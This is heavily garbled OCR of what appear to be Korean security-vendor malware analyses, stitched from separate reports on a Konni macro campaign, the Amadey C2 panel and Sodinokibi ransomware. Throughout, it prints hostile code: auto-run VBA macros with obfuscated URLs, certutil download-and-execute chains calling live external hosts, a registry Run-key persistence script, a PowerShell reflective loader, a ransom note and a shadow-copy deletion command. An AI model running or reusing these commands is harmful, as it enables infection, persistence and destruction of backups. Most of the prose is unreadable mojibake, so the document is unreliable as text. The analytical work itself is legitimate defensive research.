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AppWord.Quit False

End Sub

Sub Document_Open()

Dim URL As String

Dim Location As String

Dim FSO As Object

Set FSO = CreateObject("Scripting.FileSystemObject”)

Set objWinHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
URL = "http://mail.naver-download.com/file/pay/typeword13[]Jdoc"
objWinHttp.Open "GET", URL, False

objWinHttp.send ™

SAXt= O] eh=2| R Z2E AO[E EHIIME AFFe C2 MHOIM £ OE 24 MEE MRz Hdok=
H
o

2= AL

ESRC = ofid MHE ZAtoh= AFF0lIN CIRIER| 2|AE 2F ZXI= LR S52 TE OIS 2ol +
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D typewordd, doc 29-4pr-2019 00:06 Felk
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sCL=5sCL & Chr(&H20)
sCL=sCL & Chr(&H2F)
sCL=sCL & Chr(&H63)
SCL=sCL & Chr(&H20)
Dim smo As String

smo ="copy /Y Y%ewindir%\System32\certutiL.exe %TEMPY%\ct.exe && cd /d %TEMP% && ct —urlcache —split —f
http://alabamaok0515.1apps.com/1[Jtxt &8 cd /d %eTEMP% && ren 1.txt 1.bat && del /f /g 1.txt && 1.bat"
sCL=sCL+smo

nResult = Shell(sCL, vbHide)

ActiveDocument.Save

End Sub

1t M2 ChEa 20] Bt IS =2=6HA| ELCh

[ alabamack05151apps.com/1txt +
& C @® =2 2% | alabamaok0515.1apps.com/1.tut g
Becho off
ct —urlcache —split —f "http://alsbamank0515. lapps. con/3. txt” > nul
ct —decode -f 3.tut setup.cab > nul
del #f /9 3.txt > nul
del /f /9 ct.exe > nul
if not exist "setup.cab” (goto BXIT)
expand setup.cab £+ ETEMPY > nul
del /f fq setup.cab = nul
YTEMPMM instal | bat = nul
goto E4IT

BT
del /f /g %~dpnx0 > nul

[T21 4] ot BRI 2 S
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21 cB0f CvoaoRYg 0 #3480+ As d+dV jw L9 1 TAMEETEG | 20 18P 4 IMGTRi I T

| cEBoUES) hChPyap,/Jf Nf 0BaZ@820g | B KT ShehNTk/TOi Sy | xkPAcUho duFDeql _ ~
[12! 5]'3tx' I F= 51H

OFX[EtOZ HSIE|= 'setup.cab’ &5 I LHFO= 'installbat, picture.exe’ IO HEHE|0] Q1O '81.90.188.76
C2 MH2| BHZ 7 [SHA| LT

picture.exe’ LY LHFO0l= ChZat 22 PDB FE7H L0 QUSLICE

- ¢:\users\admin\documents\xicon\vs2005\release\XlconTest.pdb
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05 & =Hof| SO0K=2 Konni
ESRC=05 & 13 Y MEE RASHHES FIIE 2018t 4~ QU 04 &t ORIV IX|Z BlueSky' A™M 34
HIE{= 7{o| Z2 SE8 7K1 QIOMH, 2 DOC = T EM|0|X| 949 Q1 St=20{ 7|HtO 2 HMEH|AELICE

CHEE OfH SA0M= 5= FE LHFS| C2URLFAE Hieet Y4102 HEsl s74F0, 0] 7[#2 o)™

Off=L|A ZPHOJZ MO FARRILICE.

AppWord.Quit False

End Sub

Sub Document_Open()

Dim URL As String

Dim Location As String

Dim FSO As Object

Set FSO = CreateObject("Scripting.FileSystemObject”)

Set objWinHttp = CreateObject("WinHttp.WinHttpRequest.5.1")

Dim sURL As String

SURL = Chr(l&H68) & Chr(&H74) & Chr{&H74) & Chrl&H70) & Chr(&H3A) & Chr{&H2F) & Chrl&H2F) & Chr(&H66) &
Chr(&H69) & Chr{&H67) & Chr(&H68) & Chr{&HE9) & Chr&H74) & Chr{&HE9) & Chr&H6E) & Chr(&H67) &
Chr{&H31) & Chrl&H30) & Chr(&H31) & Chir{&H33) & Chr{&H2E) & Chr{&H6F) & Chrl&H72) & Chr(&H67) &
Chr(&H2F) & Chr(&H32) & Chr(&H2F)

URL =sURL +"modif8.doc"

objWinHttp.Open "GET", URL, False

objWinHttp.send ™

SURL EXAIZ MAHE 16 T F=
AsliotA| FLCt

]

HetolH LAt 22 AMOIERZ BES 510 modif8.doc LS CH2Z 5

- http://fighiting1013[Jorg/2/

I AEJO[X|Z KIS5H= DOC I O] 3120] 7MIO = HIKEIRIOM 24| KHIAF %A| BlueSky AEOZ

2H
S
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[2019 48E7] RLSEMU] LSAIANOC COIN).
20| AlE o

ii‘ ==y AT 7D s B ERHH EER 23 &0H.
[LE7).
* MAHEIDo| E-YEEUS Lo SWHI IS,

Lte#aginoc  coMe 323%os  lHsdsEs =2qEn 9=
=5#HY22 Et =Ucld| ofEdEgo| 52 SR L o|HZ@5|de s
HETM #F ¥ ==0| S0E0H BE Z2EHE 0F fE2ERe2
HitgE HERLUCE
2 Hcto] AfeEt UeR3fie  pl2idesddiia ag=FdEss
2dHYAS LT AH~3202 o2 2 aEH2es TEEN TR
SHisis 4 M OE B AN SEE ESE T I WEITYUYD,
ASH oE Zss os=s PE AJEg oTlsie 227 Efeuy
oXFEUYY JigE ULofzdle 4REos DeHIMM  AEDs
HAER0D = HE0 EHEDY S ZHEIboR oM SHEdI
FHEo| 2aEictn = AT
7IEt =2 H3rbge caEa Z2edch,

-7 HEEE
-2t nan U4y DeEEEMN Yists 22
1/3 §O|X 32474 oy [ ES B - | + 680%
[0 6] 2t BAP HakliE 3R HOKf=3fH
=22 FEE AEH CFEt 20| MAE|H U1 16 Tl ZEE ASCI ZEZ H2GIH MER C2 A}
SIOI=IL |},
End If

Sfirst = first & Chr{&H65)
Sfirst = sfirst & Chr{&H78)

sfirst = sfirst & Chr(&H65)
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sfirst = sfirst & Chr(&H20)
sfirst = sfirst & Chr(&H2F)
sfirst = sfirst & Chr{&H71)
sfirst = sfirst & Chr{&H20)
sfirst = sfirst & Chr(&H2F)
sfirst = sfirst & Chr{&H63)
sfirst = sfirst & Chr{&H20)
Dim smo As String

Dim smid As String

smid = Chr{&H68) & Chr(&H74) & Chr{&H74) & Chr{&H70) & Chr{&H3A) & Chr(&H2F) & Chr(&H2F) & Chr(&H74) &
Chr(&H67) & Chr(&H62) & Chr(&H61) & Chr&H62) & Chr(&H63) & Chr(&H72) & Chr(&H66) & Chr(&H76) &
Chr(&H2E) & Chr{&H31) & Chr(&H61) & Chr(&H70) & Chr(&H70) & Chr&H73) & Chr&H2E) & Chr(&H63) &
Chr(&H6F) & Chr(&H6D) & Chr(&H2F)

smo ="copy /Y Y%windir%\System32\certutil.exe %TEMP%\ct.exe && cd /d % TEMP% && ct —urlcache —split —f " +
smid +"1.txt && cd /d %TEMP% && ren 1.txt 1.bat &&del /f /g 1.txt && 1.bat"

sfirst = sfirst + smo

nfinal = Shell(sfirst, vbHide)

ActiveDocument.Save

End Sub

C2 A= 71E Konni Z210| AFE3H= "1apps]]com’ SAE! MH|AT} OJHO|= TICHE ARSEILICE

— http://tgbaberfv. 1apps|.Jcom/

CH|QI2 BhESH B UMBI0| ARBEIICH, 1T 2 30 2Joi 1.t IS Ch22E5H BRI JElZ Ao,
' MAM T

|
‘certutilexe’ A MRS 'ctexe’ MIAUZ EAGH ARRSILICE
Ol A2 EDR Z2 MIES0| 2 (RS TTiok=0| s[ijot= QA= EHEE 4+ JUSLICE

1t U2 CHE 22 RO ZE0 UL, 7120 2 X017 SsU
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= | Pt
[ tgbabcrfv.lapps.com/1.txt X +
& C @ 2 2% | tgbabcrfv.1apps.com/1.txt o Q (4 ) :

| Becho off

ot -urlcache —split —f "http://tababcrfv, lapps, com/3. tut” > nul
ct —decode —f 3.txt setup.cab > nul '
del /1 /9 3.tut = nul

| del A fq ct.exe = nul |

| if not exist "setup.cab” (goto EXIT)

{ expand setup.cab —F:+ %TEMPY > nul |

| del /1 /9 setup.cab > nul
ETEMPA#instal | bat > nul

{ogoto BEXIT

BT
i del /f /9 %~dpnx0 > nul

[ 71" o T S

HHRI[ HHO| 2Fe 42 3.t MU TES 7PMQ:=0| Ot ORX7IX|2 BASE64 ZEZ QIFHE HIOIHE

7HRI oM, ‘ctexel=certutiLexe) MUS Sl YFS ofiMloh= S HELIC
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[ tgbabcrfv.lapps.com/3.txt x +
< C @® =& g% | tgbaberfv.1apps.com/3.txt Ao

———FBEGIH CERT IFICATE-——
TYHDRgA At ADHgw A4 04 A4 Cw bt A8 A8 A0 AAWEBA L] AL ADCCAL AZAA AR DY AACIA AL A
dAh 0000 IBESE AaWRzd R b OB Y XLAALY Y ABo B Ab A8 HY MRS g4 HApY 3Pve nku
ZEh 1 ALs Mo KNECACDDY s f He SETUWEEw zbl: | JECIRHIMm t UgCGEh PeaC2Calo | kish
CViai AGvEL lvwrsB0aljNcCuf CEW 1131 AN9PnZ 1 KbEEp dCCaBEBdH1 3LBdT d2y 1 o
wir Ime+ceyf JIETLET f b/ Toan by d+zj SeM+ 5251 7/ UHTE My cGTH DU/ 7/ cGRBxZh
hiv2/LIE2ryRUBenPhI YOI/ «A0nlp vy m] KEYLpSxdMs D fmK zwSn i 5 4Yn019
TmCBESTLA G sHDk A+ kOl dOmW adquPt ud i n Ou TMCCES Onz5 | My HEESdARd T30PR
T e MGLU P25 LF Ow 3+ Bk U BOVd ZhpRF pllB AsCH iEBSHoMY I 2 HMFmH
C2vBa/EzocBlalk car?y+dinz v2hPy i BaYHolk AH=bFR0a 1B 181 | BEKFKAHBwak /
kH<E fFuL+HEbnuur BLH?E | vom/mA=suS XM fmj 91t u¥BaXPmz 41 YHphumPecY 55
=z JagtMye +B06YH TOux uYed A WEU uHGsgr oZ+UNW rilYE b+sywaf re B+ PUNU 3EY
t 2y 1WYh 12+ /Bpaw¥CBHanBnwWvZte il Be JEk W02 | BYGCK Ak znsu {FEOROIE
Hind 34 1§ vD | Gay tt dwoCPCAUNZH wGpw | Qo i CyaaGrY LUl A0/ sUEY t AN EZh
f2dd W A0 we v | Ks B0y fMyw /Myl TY ABBRUHT c fH | +KAD%R TuwwHCy La Jf SwC
cP/g+d0mnBgYkwas 71073 +DBe p+Ef rBuTmDeT Tj A0 AnY 3BYCAdF 2PN B0 Ja 3
d¥Eaf PAINMw=zCALECHETf |11 a5 /¢ /9=/81 BOsk p3nlxWEwYs [Y fdul 183:x+i Tawlh
PuFESLEET HI qd 2y +wKr ¥YFT ooF i be J+WdCH 1 3ot J98ake 4t Bn 1 OdsHzugny SBLHT
i BGoWnM1 COPZEPIN C= BBz | | NG 0s 20T @ z50+ 054 +2 Tony 3w s 0vivhillc
BzOtFlkgahcT 3+ 00+ 51 CHN+z ZUBdERZ/ £ 7931 Cz  Z7e JTWOCEPDES HYBJSA FAE
TbLdn+sTY9qC0vG |94t skxLolSF |G/ das1 CaGnpLxJ8i BFEr FkMOSsnkals+vpR
P THO Yk dubennOAUf THTAEA 28 £+ 5 O/ 20MKSAM 1 OnlGo 7+ FhE25GLEbr88% ) Mc2E
R1WoPHadaEnpi THHSoSE2mWa P wEplLEz"TwDF3 i e hj Js AaFeBR{KOBYqFBLnnwD
Bol WSYFPOT AFAD+Tef fxkwsj 2GF | hEj TEALPLE,/D535dw S+ gl SegEsHgh fUpu Y |
| DIl+z5riHaY f6iusz WMy GewBadaG5 J0ACCPMAHG 9t dE G211 1 alS 12 fBXswB249
& a9l cd Ok ibnT AdudneHTF2Er ndYnPnwb Cepr W T2Te Al j i Ae Jd D31 hi 8P
| Tk3rmyt Er 0GJcGl KKxaFppyvhn 10 5cLDDGR MUz+CLyvdne: rE | ava 15/ By TE: Sev v

[O28)'3:¢ T= 31H

BASE64 T S210| CITEE|™ 7= SUSHA| 'setup.cab’ TIAUZ HElE| 1 1= LIS EXHSH= install bat
Il MtELIC

AUZLHEO0I= install.bat’ ATt SHA| Victory.exe' TIA0| ISHE|0] QU7 Of2HRt 22 HEX I HEHO| 2foH
AHELICE
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@echo off

copy /y %~dpO\victory.exe C:\Users\Public\Documents ) nul

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svchost /t REG_SZ /d

"C:\Users\Public\Documents\victory.exe" /f ) nul
C:\Users\Public\Documents \victory.exe ) nul

%~dpO0\remove.bat ) nul

victory.exe' 2 0| AHE|H (2 M= H&ol & THE AEFEES L2500

- http://fighiting1013.0rg/2/splJexe

J1e|i1 ChEdt 20| 2A0 ZHCZ HEM = AMADEY IHEZ HES A=SILC.

— http://charley-online.com/back/2019/index.Jphp

AMADEY = F== 0|0 Zloi{E S0l S7HEI0] U0 4 AO]H P20l XEHOZ ©
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[ Authorisation P

-

& C ® =9 2% | charley-online.com/back/2019/login.php g (¢ ]

32019 "AMADEY"

default root: root/root
default obs: observer/chserver

[ 9] AMADEY AdH IR 512

AMADEY A2 ‘index.php’ I0= 'configphp' =0 A™E 010 |C|2t USE Edlf oA ELICE

ESTsecurity (opyright © 2019 ESTsecurity Corp. Al rights reserved.
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Q@
include("cfg/config.php");

session_start();

error_reporting(0);

if (isset($_POST['login") && isset( $_POST['password'))

{
$login=$_POST'login;
$password =$_POST["password'};

if (($login == $confT'loginl) && (md5( $password ) == $confl password]) )

{
$_SESSION['Name']="ROOT"

@header( "Refresh: O; url = statistic.php" );
}

if (( $login == $confl'observer_login') && (md5( $password ) == $conf['observer_password))

{
$_SESSION['Name'] ="OBSERVER';

@header( "Refresh: O; url = statistic.php");
}

if ($_GET[logout] == 1)

{
@session_destroy();
header( "Location: login.php");
exit;

}
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U M0 HZEEIH, SR 2Ee ARl HHO| M, ASE AREH| It /REE + USLICL
O A * +

STATISTIC | ONLINE UNITS | ALL UNITS | TASKS LIST | SETTINGS | LOGOUT []

(772! 10] AMADEY ZHEZS ME{(CC) 3H

Konni 2212 2|08 SFA7I0IE Soi AMADEY ZUlS E&oti! UCh= Hol F=E|H, ESRC = 0F 20|
AlZet 54 et TE0| Dt XEHRI S+1E ol ASLIC

Konni' Z4H|Q L} 25H HTH MISH EGHKIE (IoC) LEE2 M3 QIMO|=(Threat Inside)'2] $I&] QIR-2[HA 2|RES
Sofl XtMligt LIZO] S7HE(0] A, XEHe= FEE MiEe HFYRILIC
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olig HIZ0l= (000)0[ZMalzek= (KIHAIE)0[ZAT HEHO| MIES 71 U= Malz)0] HFE|O]
USHCHXEAIES| A TRJH0 M2t H0[g 4= USLICE)
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]
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O A8 T[I2 (000)0[2{M pdf(Z! B exe'0l2H= OFS SR SEHOID], 25| B2 SIS Melst ofy
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Hello dear friend!

Your files are encrypted, and, as result you can't use t. You mu our page to get instructions about decryption process
For futher steps Oumzxro 1 -readme. txt that cated in every encrypled folde

[72 3] Sodinokibi 2HRlI0H0]| 2=l PC SIH

O]tH0| 2 Z4=! Sodinokibi 2H419)0] MEZ2 2H ZH0| 'Oumzxro1-readme txt'2F= 2HAL-EQ} 'e21290ac.lock 2=
IpU0| AAMEH Oumzxrol 2FHXIE BE TIA0| ASSHEILICY

GandCrab_jajnvhdqf 2019-05-15 2= HHY
GandCrab jajnvhdaf sample 2019-05-15 2= o
|=| Oumzxro1-readme.txt 2019-05-152%.. H2 AKB
e21290ac lock 2019-05-15 2= LOC B
| | GandCrab_jajnvhdgf.zip.Oumzxro1 2019-05-15 2=, U o 7 572KB
| GandCrab_jajnvhdgf_sample_zip.Oumzxro1 2019-05-15 % . JOUMZXRO1 It 796KB

[0 4] Sl o 5
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| oumzxro1-readmetxt - H2E = O
OISR BTVE AN 27IV) EE3MH)

| Hello dear friend! |

Your files are encrypted, and, as result you can't use it. You must visit our page to get instructions about
decryption process. )
All encrypted files have got Dumzxrol extension.

Instructions into the TOR network

Instal | ’lm b:ouser fro: https://torproject.org/

Instructions into WWW (The following link can not be in work state, if true, use TOR above):

Yisit the folloving link: http://decryptor.top/C8353308AEAA29TD

Page will ask you for the key, here it is:

f0pLC7ujulvwJpBNYwcRyWMrmx:vH | § GhSJnbht cHhx lus | Ak | +QXbHS750Bt 50D
bGRo TLULOESak¥r06G1Bal | axoBG/7) csOwobkd3T TLkkHuaM 71 TalakpY rxU/Rr
/%yByT088dSK gz f RaHY 31 SH3| MQI D31 apuBPJ/GsPADBEYR3uRKbGeDEBi vNo /K
vnYPcHOTNAB] jhYdul oBXESm794x21 TOuBnUl afmpqu0dyYBTniBe i e3T Cxx08H+
t KT GsJvub8Qc j COra/0anZbNSmkebq4nLp334CkXuzRXnOFk3NL | oRcST4P/YU3D
riAnTKvYBeqa75n3TT01 zQaWaqWPl 0¥zt 4% /va | yPOJHNBO/pNCZm+donCy Y NnnQk
HaZOYVeT I Hn i KUEY pXyt TRSOHNMpBDNY j Sxam¥ U1 SHhHY i | t QY2 JhUu0SOPe 3k
Ft¥YrSKTFWNBCKcR720) SNMuTPEXk 1 40TAS| r+SSNMAK/Xj iuyjE91tBHZ0yAS]q
0JBUxKsHOpaU4JL3¥43qz040T f 92Ny zbbS3ANj umyb | JPLj F3C/TJFMzRoNNILYT
DAyBhMaPfcBxrKt X0/K1dDulaS1 E8KAzsd0/k Jehan) ¥k JIYGhLAfwwSZcach i O+
bwc2D1X03snGPdN2YnxpBRSpLHP YAt | UN/SwJur 95SFCrKCsNBXEESy r rNFbICA
TatxhnsFWKAtCr+FtES+nghpCl Ydc4AnSwzhOSYKX j OE3fvwPjknVYsndnlakT8lg
1 podRxR1 OnDpHZD207AWLRzpKj Br38i ¥Y /Y rMSS5zDGOFE | ksOr Y +MeBJ5+ExHA
F87/rnebESSNa0YhxKYnp30 fECSTXBT JtGIdK) 5fayBi0zheZ2 | kE5xF4540ZsY
ISh/fd0ulemnx0aon7/¥pT1D4pYAa0r nR7UKSF7TBDNGEFuJ5a0sBY0ZGCk shP2Y

[ 5] Sodinokibi ZL-E SH

2 L EOfH= OHHE! TS TOR HRIQKS Sal Wbkt WX} A1 UOH, TOR HRISKE S5 i 23
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C' @ & aplebzud7wgazapdgksbvrevbzenjppkbxbréwketfS6nf6aq % S B =
1 E ey here
2 Enter the sion name and click submit
SUBMIT
[(72 6] Sodinokibi ZHA--E0]| 7 K= A0 |E S1H
Sodinokibi 0= z[2 HAE L1E HEAHE 02| HETMAME LHY| = REE|LT QSLICY,
Zt 7|9 ME FHRIHM = SX7F 22 ASKI0IAIA 2 AL XIHA] O|H|Y0]| EatEl MR OIREES
Alsist7| Foji= Al 2 IS 0|2310] O GRS SQIsH AV HERILICE

KIsl Z=A17] HI2HH, TS

=0]| CHSH Trojan.Ransom.Sodinokibi 22 EIX| S| USLICE
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Il
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[Trojan.Ransom.Sodinokibi}
ofEIC =M HLIM

1. 70

EZ AE  Sodinokibi'  HEN7F HAZIACE O[HN| LA YT EE HESIE XHIAIEET} PowershellS
2loi] LTS of £ 2EXNO = Fef T=N A0 S0 TiAS Fiot0] 2lok= HEHO|CE ot 2 AJAH]
2F Z4BA7[= 0] OfL=t 224} HZE HEASI =-t0[20] Lok f==tE Mo, CRC AMHO| AREXAF HE
£ TSei XEXQl BHE0| SEE 7I580] =2 TE AEAR] o7t s,

kA, & E1M0iM= Sodinokibi HHAYIE MMl 2AGHIAL ST

ESTsecurity



1. TR0 ==

0] AT = 0 SZH 1FES Sofl 25 A PE S =Eoict. 0] 282 AHiAT

E 3 =5} PE A3 202 it

_lT'_

H=3lE AHIAIEE F== Offiot 20| EXIE lAE=H QA OlZet s Alts T
E= Nigld ATRES A, O|nf Y= DiefE AT-E ot H=alk|0] QUL

—

exemple_mail_de_confirmation_de_rendez_vous.js-

aktoypxz ["6“) “4") “5") "X") "O“) "g"’ “8..) " “) ”z“) “&“)

"741412372476A51214551274143
'1403124414761415561494541407247625121443

"0
5122477751214F6141214E4141412261214
7412146524121412A41214

'141286122476121514037414671224763614129554141263121476F4140364
'941214121584144512241276A51214551274141254241412A41214F6141412
'149512841214B412247612361412B68414129512241446121412D412741455
'12142612145412441214271224121526121412B67414972476161436125414
'12247746141254541445241445145544141254122477B41476541412151224
"12154512141243741214A62412778B41412D47414D412241456141237123414
'1214C42476122614D4127414671477E414F6541427147612A5147644143724
'2414D4121412833414331476A5121494128412141314127612361414641412
'36841412531412769512141286125412148712141512561494124414531476

[72 1] RHATRIE F= o

St -

tring([Sy

EYAaQAZAD

ARKASASZAHY! <

2AH QSSAE‘~ OE\—Fsa \an DAV AE
BBAGOAdWABAGMAYwWBIWAFMASQBBAGCA K JE;ETAIL‘ A
g3JAGoAUgEhA D:;YOJIHQ-F“DE'AD'A'C:.ﬁCV-Z. K
NgBkAHIATZBx ~4L~HJEh4—gn/g:-q_J YA !

A:;Ehnrgh IgAz AGEAVWBWAGI ﬂbrhkﬁlHA’“E-“JLﬁ;ﬁ~\ﬁuOHMO 3AH
‘ TgauﬁGvﬂgﬁb,~4I~c AzAHQALwBjADUANQB3AGUASQBPAHZACZBGA
HOADABWAGQAWABKAGIAVEA W AEBASWASADKAOQBRAGAAdgBz

ADAAOQBEADUANIGE 2AE BARABXAF ATOBUAGY ACEB2AES AMORAAHEANGE
TAGUATOAVAESAKWEqADUACQB2ACSANWATAF AAMALZACSAMDAZACSAZO
BAADKADAAVAGBASASYADMANWAZARHOAGWESAGWATZ g AVAGLAAZABHARHCAZ
EAXADKAZWE1AGAACEZEBXAGEACABAFDANCALAFKAYQAVAGMAYQSEAFEA
NwBMACsAsABXA F:-ﬂ gBD—\C thDK-ND‘Y';h WBOADEA 1»’-’5 JAFCACWBZAHY
AbgBEAFEACEAXAFOAZEZB2ZADMAUZEOACSACZASAGEAUEBTAHEAEQBUAE
SACEBuwAGEAZZBtAHI AMWBGADCANKBaADEAdEB1AGEARWEYADCAMWBUA
C—.noﬁau-ﬂs—uct‘:}ac MTCH A CJH*\OHL.H A OEXr—\J_,-\ vl
2QA24D Kf-dQ- ADQAUAB1AHCAOQBOAHHAKQAVADKAZAAA ADQAVAR

ACRAAWRT
AZ2ACSAdwB]

gHJH—Iﬁhﬂakr L‘R:Jc‘35FJ*H‘~F€;45E\~_JH“H“'A-4HUHNI!1‘F

O?LrAJ';__-BACA-WCE- ESAdgBUADMACAB3AFUAZAAXADQAYZE2AGQ
’DEpa:3~a SADMAYw ﬂh~k*~_2—,—J ~m~Er~3v~;~F‘A=;th~rq-

AAVADT ANI-AMDSAMN INDwa AT AL DT ANV AM... ACMALIADAMArC ~AA~DI A
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base64Z 2TFTE0] U0 U= DRl AFRES CFG6HA NET 2= Lot PE MIZ0|Lt I HEHZ XEoi0]

=—i o

AHSHA| 2211 [Reflection. Assemblyl::LoadS 012510] LIUS 2101 Sl AFEEMIN Install 1S HHBHTY,

=201

SEnCoFi = @'
7LOLdRvZdR52yHsvecn7GF3d0cxIHks ) 6zURNMMX+FJVV3iSIZ
'@

SDefSt = New-Object IO.Compression.DeflateStream(|
SUnFiBy = New-Object Byte{}(94105¢)

SDefSt.Read ($UnFiBy, 0, 941056) | Out-Null
[Reflection.Assembly] : :Load (SUnFiBy)

[Test] ::Installl ()

[0 3] RS TR ATE

Install10lf= base64 2 Q1T = PE OjI0| =XlsHH 0|2 C|ZY s Alalsict

[ 4] Q= PE I

off M2 AMO|2 UER[RJOHH, HELP 2|AAN| EXHok= 0x7b 2 xor 217Y

rin
n
=
1R
o
%
H
$9
ful
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ggr&dﬁ?::

BHi

A

2 =

File View Go

Help

OO MM XH|waa

-

)

&
-
-

=- exemple_install1
- IMAGE_DOS_HEADER
--MS-DOS Stub Program

IMAGE_NT_HEADERS

- IMAGE_SECTION_HEADER CODE
- IMAGE_SECTION_HEADER DATA
- IMAGE_SECTION_HEADER BSS
- IMAGE_SECTION_HEADER .idata
- IMAGE_SECTION_HEADER _reloc
- IMAGE_SECTION_HEADER _rsrc
-- SECTION CODE

- SECTION DATA

- SECTION BSS

SECTION .idata

SECTION _reloc

SECTION .rsrc

- IMAGE_RESOURCE_DIRECTORY Type

- IMAGE_RESOURCE_DIRECTORY NamelD

- IMAGE_RESOURCE_DIRECTORY Language
- IMAGE_RESOURCE_DATA_ENTRY

- IMAGE_RESOURCE_DIRECTORY_STRING
- STRING OFFA 0000

- STRING OFFB 0000

- STRING OFFC 0000

- STRING OFFD 0000

- STRING OFFE 0000

- STRING OFFF 0000

- STRING 1000 0000

--RCDATA DVCLAL 0000

= RCDATA HELP 0419

- RCDATA PACKAGEINFO 0000

pFile
000172F4
00017304
00017314
00017324
00017334
00017344
00017354
00017364
00017374
00017384
00017394
000173A4
00017384
000173C4
00017304
000173E4
000173F4
00017404
00017414
00017424
00017434
00017444
00017454
00017464
00017474
00017484
00017494
000174A4
000174B4
000174C4

nNANA74ANA

Raw Data

36 21 2B7B 79 7B 7B 7B
C37B7B7B 7B 7B 7B 7B
/B7B7B7B7B 7B 7B 7B
7B7B7B7B7B 7B 7B 7B
C16B 7B 75 64 CF 72 B6
2F 13 12 08 5B 0B 09 14
OF 5B 19 1E 5B 09 OE 15
12 15 48 49 76 71 5F 4C
71B7B 7B 7B 7B 7B 7B 7B
/B7B7B7B7B 7B 7B 7B
/B7B7B7B7B 7B 7B 7B
7/B7B7B7B 7B 7B 7B 7B
7B.7B 7B 7B 7B 7B 7B 7B
7B 7B 7B 7B 7B 7B 7B 7B
7B7B 7B 7B 7B 7B 7B 7B
7B7B7B7B 7B 7B 7B 7B
2B 3E 7B 7B 37 TATD 7B
7B 7B 7B 7B 9B 7B F5 DA
7BCD797B7B7B 7B 7B
7B4B7A 7B 7B 7B 3B 7B
7TF 7B 7B 7B 7B 7B 7B 7B
7B 6B 7F 7B 7B 7F 7B 7B
/B7B7B7B7B 7B 7B 7B
7B 7B 7B 7B 6B 7B 7B 7B
71B2B7A 7B 53 77 7B 7B
1B7B7B7B7B7B 7B 7B
7B 1B 7A 7B CF 6C 7B 7B
71B7B7B7B 7B 7B 7B 7B
1B7B7B7B7B 7B 7B 7B
1B7B7B7B 7B 7B 7B 7B

70 70 70 70 70D 70 7D 7D

7F 7B 74 7B 84 84 7B 7B
387B 61 7B7B 7B 7B 7B
1B7B7B7B7B7B 7B 7B
/B7B7B7B7BTATB 7B
5A C3 7A 37 B6 5A EB EB
1C 09 1A 16 5B 16 OE 08

5B .0E 15:1E 4E 09:58"2C = [
/B7B7B7B7BTBTBTB ..

7B7B 7B 7B 7B 7B 7B 7B
1B7B7B7B7B7B 7B 7B
/B7B7B7B7B7B 7B 7B
/B7B7B7B7B 7B 7B 7B
7B7B 7B 7B 7B 7B 7B 7B
7B7B7B7B 7B 7B 7B 7B
/B7B7B7B7B7B 7B 7B
7B7B 7B 7B 7B 7B 7B 7B
62 25 39 51 7B 7B 7B 7B
70 7TA 73 62 7B 5B 7TA 7B
87 56 7TA 7B 7B 6B 7B 7B
7B6B 7B 7B 7B 79 7B 7B
7F 7B 7B 7B 7B 7B 7B 7B
1B7B7B7B 78 1B TA 7B
7B 7B 6B 7B 7B 6B 7B 7B
7B7B7B 7B 7B 7B 7B 7B
TBFB7TATBT7BF1 73 7B
1B7B7B7B7B7B 7B 7B
/B7B7B7B7B7B 7B 7B
7B7B7B 7B 7B 7B 7B 7B
7B7B7B7B7B7B 7B 7B
1B7B7B7B7B7B 7B 7B

70 70 7D 70 7D 70 7D 7D

Value

61+{y{{{ {t{. - {{
G el
(Ll

{2
skfod ridoezid T

{00 - pzyb{[z{
-y vz ik {d
Rz {0 Ry
{0 (T
{k {0 (T z{

(LT R R
(R
{rz{Sw{{{ . z{{ y{
(L
oz 1l
L
R R AR SE R R RRRREH
(e

[ 5] HELPEAAN| ZXfiot= O FSiE! PEIIR

CIFYE il 57 ol Zije
RIS Z:QI5101 A3}

2RI5HT 20 2t XIHFACHL, autoup.exe 2h= OISC| He ZEMA0 2FY

{

}

sub_
if ( sub_412D34(v7,

process_inject (dword 414884,
sub_

ile = drop_resource (0x7B,

4028DC (vE, &dword 414884);

Sleep(1200000) ;
sub_403B44(vZ,

o,

402FB4()

"HELP™) ;

* (sodinokibi

£L.29

PE fil

minute

e+ 4));

"C:\\Program Files\\AhnLab\\V3Lite30\\MUpdate2\\Update\\autoup.exe™);

"V3 Service"™) && check file("C:\\Program Files\\AhnLab\\V3Lite30\\MUpdate2\\Update\\autoup.exe") )

[I2! 6] T2AA QM T
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03 opgTE

HI

M EHT

21. SEeRIK|
S5 A UREP| fli FHAS MRt FHAS 012 Global\3555A3D6-37B3-0919-F7BE-
F3AAB5B6644A™ 0|1, ol REIATL SEE| QOH Z2MAS SZoMt

sub_4084588((const char =)&unk_41B838, 618, 7, 86, &u2);
vl = 8;
ve = 8;
dword_41CO3C = CreateMutex¥W(O, B8, &u2);
if ( dword_41CO3C && RtlGetLastWin32Error{) == 183 )
v = 1;
return vi;

(724 7) = Ay K| 7=

22. 22 Fx

2iX A3l SO Z2=M|IA OIS ZMGI0f mysglexe Z2AMATL Al ZU AR 5T Z2MAE SESICL

if ( !CmpHash(&unk 41C304, v2) )
return 0;

v3 = OpenProcess(1, 0, *(a2 + 8));

v4d = v3;

1f { V3 )

{
TerminateProcess(v3, 0);
CloseHandle 0(v4);

}

2 8| S mefh- e =

23 MME =3 7[5 7=t
vssadmin.exe ZZMA HHOS Sofl AL S8 IR 2§ M= SA=ES Mttt 0|2 Sl ZEE

AAEC| SH 7[S0| FHSfECE Sl == Ciaat 20t

"C:\Windows\System32\cmd.exe”" /c vssadmin.exe Delete Shadows /All /Quiet & bededit /set {default}
recoveryenabled No & bededit /set {default} bootstatuspolicy ignoreallfailures
[H1] S5 M= A T=

24 NEA 8 TS
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2 PCERE OS JéEComlouterNalme 15 YE, Ao He, A0 AIRE 7| YHE S2 BF & eXIAEZ(f
XEBiCt oig He HKEY_LOCAL_MACHINE\SOFTWARE\recfg’ 2 MIE|0] 0|5 CRCAHZ TSEIC,

5 E1 olg

REG_SZ EEE e
Wo| REG_BINARY 44 f3fdbc52dfd6 70379183421 c01a7168045d0837 8cbdAfe5e7c842e3befd179430f7f5b1l 11 cedf7af..
o pk key REG_BINARY 3e 4c 7b 44 75 99 63 18 c0 29.0c 3b-94 ce 61 b8 c0 df 31.¢5 7e 7d 09 27 43 f8 01 f1 fc 73 d2 11
ab|rnd_ext REG_SZ z1lj34
o) sk_key REG_BINARY 630939659828317525dc7246bf3bfa78d6851589f982ede3 909847 11849221046b860423131b06ad ...
